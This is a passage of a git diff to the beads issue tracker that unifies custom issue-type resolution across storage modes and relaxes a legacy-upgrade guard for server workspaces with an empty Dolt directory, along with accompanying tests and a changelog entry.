"types", GroupID: "views", Short: "List valid issue types", Long: `List all valid issue types that can be used with bd create --type. -Core work types (bug, task, feature, chore, epic, decision, spike, story, milestone) are always valid. -Additional types require configuration via types.custom in .beads/config.yaml. +Core work types (bug, task, feature, chore, epic, decision, spike, story, milestone) +and system types (message, molecule, gate, event) are always valid. +Custom types are registered with 'bd config set types.custom' or declared under +types.custom in .beads/config.yaml; the list shown is exactly the set that +bd create --type accepts. Examples: bd types # List all types with descriptions @@ -55,32 +88,56 @@ Examples: return printSections(jsonOutput) } - if usesProxiedServer() { - return runTypesProxiedServer(rootCtx) - } - - if err := ensureDirectMode("types command requires direct database access"); err != nil { - return HandleError("%v", err) - } - - var customTypes []string - ctx := context.Background() - if store != nil { - if ct, err := store.GetCustomTypes(ctx); err == nil { - customTypes = ct + if !usesProxiedServer() { + if err := ensureDirectMode("types command requires direct database access"); err != nil { + return HandleError("%v", err) } } + customTypes, err := resolveWorkspaceCustomTypes(rootCtx) + if err != nil { + return HandleError("%v", err) + } return renderTypes(customTypes) }, } +// resolveWorkspaceCustomTypes returns the workspace's registered custom issue +// types in either storage mode. Both routes end in issueops.ComposeCustomTypes, +// the rule issue create/update validation also resolves through, so what +// `bd types` lists is exactly what `bd create --type` accepts. +func resolveWorkspaceCustomTypes(ctx context.Context) ([]string, error) { + if usesProxiedServer() { + uw, err := openProxiedListUOW(ctx) + if err != nil { + return nil, err + } + defer uw.Close(ctx) + customTypes, err := uw.ConfigUseCase().GetCustomTypes(ctx) + if err != nil { + return nil, fmt.Errorf("reading custom types: %w", err) + } + return customTypes, nil + } + if store == nil { + // No database is open (e.g. a --dry-run plan check): the config.yaml + // layer is the only one available, composed by the same rule. + return issueops.ComposeCustomTypes(nil, "", config.GetCustomTypesFromYAML()), nil + } + customTypes, err := store.GetCustomTypes(ctx) + if err != nil { + return nil, fmt.Errorf("reading custom types: %w", err) + } + return customTypes, nil +} + func renderTypes(customTypes []string) error { if jsonOutput { result := struct { CoreTypes []typeInfo `json:"core_types"` + SystemTypes []typeInfo `json:"system_types"` CustomTypes []string `json:"custom_types,omitempty"` - }{} + }{SystemTypes: systemWorkTypes()} for _, t := range coreWorkTypes { result.CoreTypes = append(result.CoreTypes, typeInfo{ @@ -97,6 +154,11 @@ func renderTypes(customTypes []string) error { fmt.Printf(" %-14s %s\n", t.Type, t.Description) } + fmt.Println("\nSystem types (built-in, created by bd commands):") + for _, t := range systemWorkTypes() { + fmt.Printf(" %-14s %s\n", t.Name, t.Description) + } + if len(customTypes) > 0 { fmt.Println("\nConfigured custom types:") for _, t := range customTypes { diff --git a/cmd/bd/types_builtin_test.go b/cmd/bd/types_builtin_test.go new file mode 100644 index 000000000..bed351643 --- /dev/null +++ b/cmd/bd/types_builtin_test.go @@ -0,0 +1,40 @@ +package main + +import ( + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestBdTypesListsEveryBuiltIn pins that `bd types` (core + system sections) +// lists exactly the types that validate without configuration, i.e. the set +// IssueType.IsBuiltIn accepts, each with a description. +func TestBdTypesListsEveryBuiltIn(t *testing.T) { + listed := map[types.IssueType]bool{} + for _, ct := range coreWorkTypes { + if listed[ct.Type] { + t.Errorf("core type %q listed twice", ct.Type) + } + listed[ct.Type] = true + } + for _, st := range systemWorkTypes() { + it := types.IssueType(st.Name) + if listed[it] { + t.Errorf("type %q listed as both core and system", it) + } + if st.Description == "" { + t.Errorf("system type %q has no description", it) + } + listed[it] = true + } + for it := range listed { + if !it.IsBuiltIn() { + t.Errorf("bd types lists %q as built-in, but IsBuiltIn rejects it", it) + } + } + for _, it := range append(append([]types.IssueType{}, types.AllIssueTypes...), types.TypeEvent) { + if !listed[it] { + t.Errorf("built-in type %q validates without configuration but bd types does not list it", it) + } + } +} diff --git a/cmd/bd/types_create_agreement_test.go b/cmd/bd/types_create_agreement_test.go new file mode 100644 index 000000000..a371dab96 --- /dev/null +++ b/cmd/bd/types_create_agreement_test.go @@ -0,0 +1,130 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// typesAgreementRunner runs bd in a workspace and returns stdout (or stdout+stderr on +// failure) plus the exit error. +type typesAgreementRunner func(t *testing.T, args ...string) ([]byte, error) + +// assertTypesAgreeWithCreate is the `bd types` ⇔ `bd create --type` contract: +// every type `bd types --json` lists is accepted by create and by +// storage-class config validation, and an unlisted type is rejected. +// Custom types are seeded from both sources — the database (bd config set) +// and the project's .beads/config.yaml — because each storage mode resolves +// them; the listing and validation paths must compose them identically. +func assertTypesAgreeWithCreate(t *testing.T, run typesAgreementRunner, beadsDir string) { + t.Helper() + + if out, err := run(t, "config", "set", "types.custom", "dbtype"); err != nil { + t.Fatalf("config set types.custom: %v\n%s", err, out) + } + cfgPath := filepath.Join(beadsDir, "config.yaml") + cfg, err := os.ReadFile(cfgPath) + if err != nil { + t.Fatalf("read config.yaml: %v", err) + } + if strings.Contains(string(cfg), "types.custom") || strings.Contains(string(cfg), "\ntypes:") { + t.Fatalf("fixture config.yaml already declares types; test assumes it does not:\n%s", cfg) + } + cfg = append(cfg, []byte("\ntypes.custom: \"yamltype\"\n")...) + if err := os.WriteFile(cfgPath, cfg, 0o644); err != nil { + t.Fatalf("write config.yaml: %v", err) + } + + out, err := run(t, "types", "--json") + if err != nil { + t.Fatalf("types --json: %v\n%s", err, out) + } + var listed struct { + CoreTypes []typeInfo `json:"core_types"` + SystemTypes []typeInfo `json:"system_types"` + CustomTypes []string `json:"custom_types"` + } + if err := json.Unmarshal(out, &listed); err != nil { + t.Fatalf("unmarshal types --json: %v\n%s", err, out) + } + names := map[string]bool{} + for _, ti := range append(listed.CoreTypes, listed.SystemTypes...) { + names[ti.Name] = true + } + for _, c := range listed.CustomTypes { + names[c] = true + } + + // Types create is known to accept must be listed. + for _, want := range []string{"task", "message", "molecule", "gate", "event", "dbtype", "yamltype"} { + if !names[want] { + t.Errorf("bd types does not list %q, but bd create accepts it; listed=%v", want, names) + } + } + + // Every listed type must be accepted by create ... + for name := range names { + if out, err := run(t, "create", "--silent", "--type", name, "agreement "+name); err != nil { + t.Errorf("bd types lists %q but bd create --type %s failed: %v\n%s", name, name, err, out) + } + } + // ... and by storage-class validation, which names issue types too. + for _, name := range listed.CustomTypes { + if out, err := run(t, "config", "set", "storage-class."+name, "versioned"); err != nil { + t.Errorf("bd types lists %q but config set storage-class.%s failed: %v\n%s", name, name, err, out) + } + } + + // An unlisted type is rejected. + if out, err := run(t, "create", "--silent", "--type", "notregistered", "agreement unlisted"); err == nil { + t.Errorf("bd create accepted unlisted type notregistered: %s", out) + } +} + +func TestProxiedServerTypesAgreeWithCreate(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "tac") + assertTypesAgreeWithCreate(t, func(t *testing.T, args ...string) ([]byte, error) { + return bdProxiedRun(t, bd, p.dir, args...) + }, p.beadsDir) +} + +func TestEmbeddedTypesAgreeWithCreate(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tac") + assertTypesAgreeWithCreate(t, func(t *testing.T, args ...string) ([]byte, error) { + return bdRunWithFlockRetry(t, bd, dir, args...) + }, beadsDir) +} + +// Server mode (`bd init --server` against an external dolt sql-server) lists +// through DoltStore.GetCustomTypes, the resolver that used to drop +// config.yaml types once the database had any. +func TestServerModeTypesAgreeWithCreate(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + p := newServerModeProject(t, bd, "tas") + assertTypesAgreeWithCreate(t, func(t *testing.T, args ...string) ([]byte, error) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = p.dir + cmd.Env = p.env + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + return append(stdout.Bytes(), stderr.Bytes()...), err + } + return stdout.Bytes(), nil + }, p.beadsDir) +} diff --git a/cmd/bd/types_proxied_server.go b/cmd/bd/types_proxied_server.go deleted file mode 100644 index cefb89af6..000000000 --- a/cmd/bd/types_proxied_server.go +++ /dev/null @@ -1,20 +0,0 @@ -package main - -import ( - "context" -) - -func runTypesProxiedServer(ctx context.Context) error { - uw, err := openProxiedListUOW(ctx) - if err != nil { - return HandleError("%v", err) - } - defer uw.Close(ctx) - - var customTypes []string - if ct, err := uw.ConfigUseCase().GetCustomTypes(ctx); err == nil { - customTypes = ct - } - - return renderTypes(customTypes) -} diff --git a/internal/storage/domain/db/config.go b/internal/storage/domain/db/config.go index 8436a09d5..19115ba8e 100644 --- a/internal/storage/domain/db/config.go +++ b/internal/storage/domain/db/config.go @@ -126,22 +126,25 @@ func (r *configSQLRepositoryImpl) GetAllConfig(ctx context.Context) (map[string] return out, nil } +// GetCustomTypes resolves the workspace's custom issue types through +// issueops.ComposeCustomTypes, the same rule the embedded and server-mode +// stores use, so proxied `bd types` and proxied create/update validation +// accept exactly the same set. func (r *configSQLRepositoryImpl) GetCustomTypes(ctx context.Context) ([]string, error) { fromTable, err := r.readCustomTypesTable(ctx) if err != nil { return nil, err } - fromDB := fromTable - if len(fromDB) == 0 { - fromConfig, err := r.readCustomTypesConfig(ctx) + var configValue string + if len(fromTable) == 0 { + configValue, err = r.GetConfig(ctx, "types.custom") if err != nil { - return nil, err + return nil, fmt.Errorf("db: GetCustomTypes: %w", err) } - fromDB = fromConfig } - return unionWithYAMLCustomTypes(fromDB, config.GetCustomTypesFromYAML()), nil + return issueops.ComposeCustomTypes(fromTable, configValue, config.GetCustomTypesFromYAML()), nil } func (r *configSQLRepositoryImpl) readCustomTypesTable(ctx context.Context) ([]string, error) { @@ -169,39 +172,6 @@ func (r *configSQLRepositoryImpl) readCustomTypesTable(ctx context.Context) ([]s return out, nil } -func (r *configSQLRepositoryImpl) readCustomTypesConfig(ctx context.Context) ([]string, error) { - value, err := r.GetConfig(ctx, "types.custom") - if err != nil { - return nil, fmt.Errorf("db: GetCustomTypes: %w", err) - } - return issueops.ParseTypesConfigValue(value), nil -} - -func unionWithYAMLCustomTypes(dbTypes, yamlTypes []string) []string { - if len(dbTypes) == 0 && len(yamlTypes) == 0 { - return nil - } - seen := make(map[string]struct{}, len(dbTypes)+len(yamlTypes)) - out := make([]string, 0, len(dbTypes)+len(yamlTypes)) - for _, src := range [][]string{dbTypes, yamlTypes} { - for _, t := range src { - t = strings.TrimSpace(t) - if t == "" { - continue - } - if _, ok := seen[t]; ok { - continue - } - seen[t] = struct{}{} - out = append(out, t) - } - } - if len(out) == 0 { - return nil - } - return out -} - func (r *configSQLRepositoryImpl) GetAllowedPrefixes(ctx context.Context) (string, error) { value, err := r.GetConfig(ctx, "allowed_prefixes") if err != nil { diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index 32fb4d17e..12dd98b64 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -132,6 +132,7 @@ go_test( "create_only_errors_test.go", "create_only_guard_test.go", "create_test.go", + "custom_types_parity_test.go", "cycle_report_test.go", "cycles_test.go", "delete_cascade_tables_test.go", diff --git a/internal/storage/issueops/config_helpers.go b/internal/storage/issueops/config_helpers.go index d21de3b98..f17d858d4 100644 --- a/internal/storage/issueops/config_helpers.go +++ b/internal/storage/issueops/config_helpers.go @@ -56,7 +56,7 @@ func ResolveCustomConfigInTx(ctx context.Context, tx DBTX) (statuses []types.Cus return nil, nil, err } if statusesFromTable && typesFromTable { - return statuses, customTypes, nil + return statuses, ComposeCustomTypes(customTypes, "", config.GetCustomTypesFromYAML()), nil } cfg, err := getConfigKeysInTx(ctx, tx, "status.custom", "types.custom") @@ -66,12 +66,8 @@ func ResolveCustomConfigInTx(ctx context.Context, tx DBTX) (statuses []types.Cus statuses = ParseStatusFallback(yamlStatuses) } } - if !typesFromTable { - if yamlTypes := config.GetCustomTypesFromYAML(); len(yamlTypes) > 0 { - customTypes = yamlTypes - } - } - return statuses, customTypes, nil + // The types.custom row is unreadable; the remaining layers still compose. + return statuses, ComposeCustomTypes(customTypes, "", config.GetCustomTypesFromYAML()), nil } if !statusesFromTable { @@ -83,14 +79,7 @@ func ResolveCustomConfigInTx(ctx context.Context, tx DBTX) (statuses []types.Cus statuses = ParseStatusFallback(yamlStatuses) } } - if !typesFromTable { - if v := cfg["types.custom"]; v != "" { - customTypes = ParseTypesConfigValue(v) - } else if yamlTypes := config.GetCustomTypesFromYAML(); len(yamlTypes) > 0 { - customTypes = yamlTypes - } - } - return statuses, customTypes, nil + return statuses, ComposeCustomTypes(customTypes, cfg["types.custom"], config.GetCustomTypesFromYAML()), nil } func resolveCustomStatusesFromTableInTx(ctx context.Context, tx DBTX) ([]types.CustomStatus, bool, error) { @@ -280,21 +269,42 @@ func ResolveCustomTypesInTx(ctx context.Context, tx DBTX) ([]string, error) { // fallback. The table-empty case is intentional: schema migration creates the // table but may not have populated it from the existing types.custom config // string yet. + var configValue string if len(fromDB) == 0 { value, err := GetConfigInTx(ctx, tx, "types.custom") if err != nil { return customTypesYAMLFallback(config.GetCustomTypesFromYAML, err) } - if value != "" { - fromDB = ParseTypesConfigValue(value) - } + configValue = value } + return ComposeCustomTypes(fromDB, configValue, config.GetCustomTypesFromYAML()), nil +} - // Overlay-union with YAML types.custom regardless of the DB-side result. - // gastownhall/beads#4024: project-extension types declared in .beads/config.yaml - // must validate server-side even when the database side hasn't been migrated - // or populated with those types. - return mergeWithYAMLCustomTypes(fromDB, config.GetCustomTypesFromYAML), nil +// ComposeCustomTypes is the single rule for which custom issue types a +// workspace has. Every reader of the three sources — the resolvers here, the +// proxied-server config repository, and therefore both `bd types` and +// create/update validation in every mode — composes them through this +// function, so the listed set and the accepted set cannot drift apart: +// +// 1. the custom_types table, when it has rows; +// 2. otherwise the types.custom config row (CSV or JSON array), which covers +// databases whose table has not been populated yet; +// 3. always unioned with config.yaml types.custom, the project-extension +// overlay (gastownhall/beads#4024). +// +// Names are trimmed, empties dropped and duplicates removed; database types +// keep their order and YAML-only types are appended in declared order. +// Returns nil when no layer supplies a type. +func ComposeCustomTypes(fromTable []string, configValue string, yamlTypes []string) []string { + fromDB := dedupePreservingOrder(fromTable) + if len(fromDB) == 0 && configValue != "" { + fromDB = dedupePreservingOrder(ParseTypesConfigValue(configValue)) + } + merged := mergeWithYAMLCustomTypes(fromDB, func() []string { return yamlTypes }) + if len(merged) == 0 { + return nil + } + return merged } // mergeWithYAMLCustomTypes returns the union of dbTypes and the YAML-declared diff --git a/internal/storage/issueops/custom_types_parity_test.go b/internal/storage/issueops/custom_types_parity_test.go new file mode 100644 index 000000000..f4147ccc0 --- /dev/null +++ b/internal/storage/issueops/custom_types_parity_test.go @@ -0,0 +1,173 @@ +package issueops + +import ( + "context" + "os" + "path/filepath" + "reflect" + "regexp" + "testing" + + "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/config" +) + +// withYAMLCustomTypes points the process config at a throwaway +// .beads/config.yaml declaring types.custom, with HOME and XDG_CONFIG_HOME +// isolated so no user-level config can leak in. +func withYAMLCustomTypes(t *testing.T, customCSV string) { + t.Helper() + dir := t.TempDir() + t.Setenv("HOME", filepath.Join(dir, "home")) + t.Setenv("XDG_CONFIG_HOME", filepath.Join(dir, "xdg")) + t.Setenv("BEADS_DIR", "") + beadsDir := filepath.Join(dir, ".beads") + if err := os.MkdirAll(beadsDir, 0o755); err != nil { + t.Fatalf("mkdir .beads: %v", err) + } + content := "" + if customCSV != "" { + content = "types:\n custom: \"" + customCSV + "\"\n" + } + if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte(content), 0o644); err != nil { + t.Fatalf("write config.yaml: %v", err) + } + t.Chdir(dir) + config.ResetForTesting() + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + t.Cleanup(config.ResetForTesting) +} + +// customTypeSources describes one database + config.yaml state. +type customTypeSources struct { + table []string // custom_types rows + configRow string // config types.custom value ("" = unset) + yaml string // config.yaml types.custom CSV ("" = unset) +} + +func expectCustomTypesTable(mock sqlmock.Sqlmock, names []string) { + rows := sqlmock.NewRows([]string{"name"}) + for _, n := range names { + rows.AddRow(n) + } + mock.ExpectQuery(regexp.QuoteMeta("SELECT name FROM custom_types ORDER BY name")).WillReturnRows(rows) +} + +// resolveViaCustomTypesInTx is the resolver issue create/update validation uses. +func resolveViaCustomTypesInTx(t *testing.T, src customTypeSources) []string { + t.Helper() + db, mock, tx := beginMockTx(t) + defer db.Close() + expectCustomTypesTable(mock, src.table) + if len(src.table) == 0 { + rows := sqlmock.NewRows([]string{"value"}) + if src.configRow != "" { + rows.AddRow(src.configRow) + } + mock.ExpectQuery(regexp.QuoteMeta("SELECT value FROM config WHERE `key` = ?")). + WithArgs("types.custom").WillReturnRows(rows) + } + got, err := ResolveCustomTypesInTx(context.Background(), tx) + if err != nil { + t.Fatalf("ResolveCustomTypesInTx: %v", err) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + return got +} + +// resolveViaCustomConfigInTx is the resolver the server-mode store's +// GetCustomTypes (and so direct-mode `bd types`) uses. +func resolveViaCustomConfigInTx(t *testing.T, src customTypeSources) []string { + t.Helper() + db, mock, tx := beginMockTx(t) + defer db.Close() + // One custom status so the status half resolves from its table and the + // config-row read below is driven by the types half alone. + mock.ExpectQuery(regexp.QuoteMeta("SELECT name, category FROM custom_statuses ORDER BY name")). + WillReturnRows(sqlmock.NewRows([]string{"name", "category"}).AddRow("review", "wip")) + expectCustomTypesTable(mock, src.table) + if len(src.table) == 0 { + rows := sqlmock.NewRows([]string{"key", "value"}) + if src.configRow != "" { + rows.AddRow("types.custom", src.configRow) + } + mock.ExpectQuery(regexp.QuoteMeta("SELECT `key`, value FROM config WHERE `key` IN (?,?)")). + WithArgs("status.custom", "types.custom").WillReturnRows(rows) + } + _, got, err := ResolveCustomConfigInTx(context.Background(), tx) + if err != nil { + t.Fatalf("ResolveCustomConfigInTx: %v", err) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + return got +} + +// TestCustomTypeResolversAgree pins the single composition rule for custom +// issue types (custom_types table, else the types.custom config row, always +// unioned with config.yaml types.custom). The listing path (`bd types`) and +// the validation path (create/update) must resolve the same set, or `bd types` +// advertises types that create rejects or vice versa. +func TestCustomTypeResolversAgree(t *testing.T) { + cases := []struct { + name string + src customTypeSources + want []string + }{ + {"nothing configured", customTypeSources{}, nil}, + {"table only", customTypeSources{table: []string{"convoy", "rig"}}, []string{"convoy", "rig"}}, + {"config row only", customTypeSources{configRow: "convoy,rig"}, []string{"convoy", "rig"}}, + {"yaml only", customTypeSources{yaml: "gizmo"}, []string{"gizmo"}}, + {"table plus yaml", customTypeSources{table: []string{"convoy"}, yaml: "gizmo"}, []string{"convoy", "gizmo"}}, + {"config row plus yaml", customTypeSources{configRow: "convoy", yaml: "gizmo,convoy"}, []string{"convoy", "gizmo"}}, + {"table wins over config row", customTypeSources{table: []string{"convoy"}, configRow: "convoy,rig", yaml: "gizmo"}, []string{"convoy", "gizmo"}}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + withYAMLCustomTypes(t, tc.src.yaml) + validate := resolveViaCustomTypesInTx(t, tc.src) + list := resolveViaCustomConfigInTx(t, tc.src) + if len(validate) == 0 && len(tc.want) == 0 && len(list) == 0 { + return + } + if !reflect.DeepEqual(validate, tc.want) { + t.Errorf("ResolveCustomTypesInTx = %#v, want %#v", validate, tc.want) + } + if !reflect.DeepEqual(list, tc.want) { + t.Errorf("ResolveCustomConfigInTx custom types = %#v, want %#v (must match the validation resolver)", list, tc.want) + } + }) + } +} + +func TestComposeCustomTypes(t *testing.T) { + cases := []struct { + name string + table []string + configRow string + yaml []string + want []string + }{ + {"empty", nil, "", nil, nil}, + {"table trimmed and deduped", []string{" convoy ", "", "convoy", "rig"}, "", nil, []string{"convoy", "rig"}}, + {"config row json form", nil, `["convoy","rig"]`, nil, []string{"convoy", "rig"}}, + {"table ignores config row", []string{"convoy"}, "rig", nil, []string{"convoy"}}, + {"yaml appended after db", []string{"rig"}, "", []string{"gizmo", "rig"}, []string{"rig", "gizmo"}}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + got := ComposeCustomTypes(tc.table, tc.configRow, tc.yaml) + if len(got) == 0 && len(tc.want) == 0 { + return + } + if !reflect.DeepEqual(got, tc.want) { + t.Errorf("ComposeCustomTypes = %#v, want %#v", got, tc.want) + } + }) + } +} From e3a12f4e5c813b57d64d6fdb8d435eccdcc18f1d Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 02:11:21 -0700 Subject: [PATCH 220/624] fix(init): admit a server workspace whose .beads/dolt is empty so the version marker is written (#6935) A server-mode workspace with an empty .beads/dolt and no .local_version was refused as a legacy workspace, blocking every command including bd init. An empty directory holds no legacy data, so the guard now admits it (server mode only); bd init writes the marker and an existing workspace in that state self-heals on its next command. Refs #5682. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 14 ++ cmd/bd/BUILD.bazel | 2 + cmd/bd/legacy_upgrade_guard.go | 30 ++++ .../legacy_upgrade_guard_config_yaml_test.go | 6 +- cmd/bd/legacy_upgrade_guard_e2e_test.go | 6 +- .../legacy_upgrade_guard_empty_root_test.go | 143 ++++++++++++++++++ ...gacy_upgrade_guard_external_server_test.go | 141 +++++++++++++++++ cmd/bd/legacy_upgrade_guard_test.go | 10 +- cmd/bd/legacy_upgrade_guard_witness_test.go | 7 +- 9 files changed, 340 insertions(+), 19 deletions(-) create mode 100644 cmd/bd/legacy_upgrade_guard_empty_root_test.go create mode 100644 cmd/bd/legacy_upgrade_guard_external_server_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index d1dceed0c..c906ac504 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -79,6 +79,20 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 A token that was already pushed should still be rotated: deleting the row locally does not unpublish it from remotes that already have a copy. +- **A server-mode workspace with an empty `.beads/dolt` is no longer refused + as legacy** + ([#5682](https://github.com/gastownhall/beads/issues/5682), + [#6935](https://github.com/gastownhall/beads/pull/6935)). bd creates `.beads/dolt` on use even when the data lives on an + external Dolt server, and leaves it empty. When the gitignored + `.local_version` witness was missing — after a fresh checkout, or when a + provisioner created the empty root before `bd init --server --external` — + the legacy-upgrade guard refused every command, `bd init` included, as a + "legacy Dolt server workspace", and no bd command could repair it. An empty + root holds nothing a legacy release could have left, so the guard now admits + it: `bd init` writes the witness, and an existing workspace in that state + re-seeds it on the next command. A pre-1.0 witness, or a `.beads/dolt` that + holds anything, is still refused. + - **`bd -C dir prime` now describes the target workspace instead of the launch directory** ([#5509](https://github.com/gastownhall/beads/issues/5509)). `-C` resolves `BEADS_DIR` but never changes directory, so prime's cwd-relative diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index a1875450a..4e99906ba 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -826,6 +826,8 @@ go_test( "last_touched_test.go", "legacy_upgrade_guard_config_yaml_test.go", "legacy_upgrade_guard_e2e_test.go", + "legacy_upgrade_guard_empty_root_test.go", + "legacy_upgrade_guard_external_server_test.go", "legacy_upgrade_guard_test.go", "legacy_upgrade_guard_witness_test.go", "linear_roundtrip_test.go", diff --git a/cmd/bd/legacy_upgrade_guard.go b/cmd/bd/legacy_upgrade_guard.go index 063146624..53d680798 100644 --- a/cmd/bd/legacy_upgrade_guard.go +++ b/cmd/bd/legacy_upgrade_guard.go @@ -76,6 +76,20 @@ func guardLegacyUpgradeWorkspace(beadsDir string) error { return nil } if serverMode { + if !present && isEmptyDirectory(filepath.Join(beadsDir, "dolt")) { + // An empty .beads/dolt holds no Dolt data, so no legacy release + // could have left anything in it to protect: it carries no more + // evidence than a server workspace without that directory, which + // is admitted above. bd creates exactly this shape itself — the + // local Dolt root is made on use even when the data lives on an + // external server — so refusing it made `bd init --server + // --external` fail over a provisioner's empty root, and made a + // workspace that lost its gitignored witness unusable with no bd + // command able to repair it. Admitting it lets the command re-seed + // the witness. A present pre-1.0 witness was refused above, and a + // root holding anything at all still refuses below. + return nil + } if present && classifyVersionWitness(version) == witnessEraUnknown { // A witness that is present but unreadable — including one left // blank or whitespace-only by an interrupted or disk-full @@ -270,6 +284,22 @@ func hasLegacyDoltRoot(beadsDir string) bool { return err == nil && info.IsDir() && info.Mode()&os.ModeSymlink == 0 } +// isEmptyDirectory reports whether path is a real (non-symlink) directory with +// no entries. Any error reading it answers false, so callers fail closed. +func isEmptyDirectory(path string) bool { + info, err := os.Lstat(path) + if err != nil || !info.IsDir() || info.Mode()&os.ModeSymlink != 0 { + return false + } + dir, err := os.Open(path) // #nosec G304 -- bounded probe beneath selected workspace + if err != nil { + return false + } + defer func() { _ = dir.Close() }() + names, err := dir.Readdirnames(1) + return len(names) == 0 && err == io.EOF +} + func isNonEmptyRegularFile(path string) bool { info, err := os.Lstat(path) return err == nil && info.Mode().IsRegular() && info.Size() > 0 diff --git a/cmd/bd/legacy_upgrade_guard_config_yaml_test.go b/cmd/bd/legacy_upgrade_guard_config_yaml_test.go index 46640052d..37c89519a 100644 --- a/cmd/bd/legacy_upgrade_guard_config_yaml_test.go +++ b/cmd/bd/legacy_upgrade_guard_config_yaml_test.go @@ -31,7 +31,7 @@ func bindSelectedWorkspaceConfig(t *testing.T, beadsDir string) { } // writeDoltRootWorkspace lays down the ambiguous shape the guard classifies: a -// .beads directory that owns a local Dolt root, plus whatever metadata.json, +// .beads directory that owns a populated local Dolt root, plus whatever metadata.json, // config.yaml and version witness the case needs. An empty string means "do not // write this file at all". func writeDoltRootWorkspace(t *testing.T, metadata, configYaml, version string) string { @@ -52,9 +52,7 @@ func writeDoltRootWorkspace(t *testing.T, metadata, configYaml, version string) t.Fatal(err) } } - if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) bindSelectedWorkspaceConfig(t, beadsDir) return beadsDir } diff --git a/cmd/bd/legacy_upgrade_guard_e2e_test.go b/cmd/bd/legacy_upgrade_guard_e2e_test.go index 619f2289a..0eb09ed87 100644 --- a/cmd/bd/legacy_upgrade_guard_e2e_test.go +++ b/cmd/bd/legacy_upgrade_guard_e2e_test.go @@ -490,7 +490,7 @@ func TestLegacyGuardUsesSelectedTargetSharedServerConfig(t *testing.T) { // TestLegacyGuardAdmitsConfigYamlServerWorkspace runs the real binary against // the workspace shape gc provisions — `dolt.mode: server` in -// .beads/config.yaml, a local .beads/dolt root, a metadata.json that names no +// .beads/config.yaml, a populated local .beads/dolt root, a metadata.json that names no // dolt_mode — and pins that the guard no longer calls it legacy. The in-process // guard tests bind the workspace config themselves; only a subprocess proves // that PersistentPreRunE's own binding puts the selected workspace's @@ -518,9 +518,7 @@ func TestLegacyGuardAdmitsConfigYamlServerWorkspace(t *testing.T) { repoDir := t.TempDir() initGitRepo(t, repoDir) beadsDir := filepath.Join(repoDir, ".beads") - if err := os.MkdirAll(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) writeFile(t, filepath.Join(beadsDir, "metadata.json"), []byte(`{"backend":"dolt","dolt_database":"hq"}`)) writeFile(t, filepath.Join(beadsDir, "config.yaml"), []byte("dolt:\n mode: server\n auto-start: false\n")) if tt.version != "" { diff --git a/cmd/bd/legacy_upgrade_guard_empty_root_test.go b/cmd/bd/legacy_upgrade_guard_empty_root_test.go new file mode 100644 index 000000000..b1dac315b --- /dev/null +++ b/cmd/bd/legacy_upgrade_guard_empty_root_test.go @@ -0,0 +1,143 @@ +package main + +import ( + "os" + "path/filepath" + "testing" +) + +// populateLegacyDoltRoot lays down a .beads/dolt root that holds a Dolt +// database, the shape a historical local sql-server left behind. The guard has +// to treat such a root as evidence worth protecting. +func populateLegacyDoltRoot(t *testing.T, beadsDir string) { + t.Helper() + if err := os.MkdirAll(filepath.Join(beadsDir, "dolt", "beads", ".dolt"), 0o700); err != nil { + t.Fatal(err) + } +} + +// writeEmptyDoltRootServerWorkspace lays down the shape a current bd leaves +// behind after `bd init --server --external`: server mode selected, a +// .beads/dolt directory that bd created on use but that holds nothing because +// the data lives on the external server, and — once the gitignored witness has +// been lost, or when a provisioner created the empty root before bd init — +// no .local_version. +func writeEmptyDoltRootServerWorkspace(t *testing.T, metadata, configYaml, version string) string { + t.Helper() + beadsDir := t.TempDir() + for name, contents := range map[string]string{ + "metadata.json": metadata, + "config.yaml": configYaml, + } { + if contents == "" { + continue + } + if err := os.WriteFile(filepath.Join(beadsDir, name), []byte(contents), 0o600); err != nil { + t.Fatal(err) + } + } + if version != "" { + if err := writeLocalVersion(filepath.Join(beadsDir, localVersionFile), version); err != nil { + t.Fatal(err) + } + } + if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { + t.Fatal(err) + } + bindSelectedWorkspaceConfig(t, beadsDir) + return beadsDir +} + +const externalServerMetadata = `{"backend":"dolt","dolt_mode":"server","dolt_server_host":"db.example.test","dolt_database":"ext_db"}` + +// TestLegacyUpgradeGuardAdmitsServerWorkspaceWithEmptyDoltRoot pins the +// external-host recovery: a server-mode workspace whose .beads/dolt is empty +// and whose witness is missing holds no local Dolt data a legacy release could +// have left there, so it carries no more evidence than a workspace with no +// 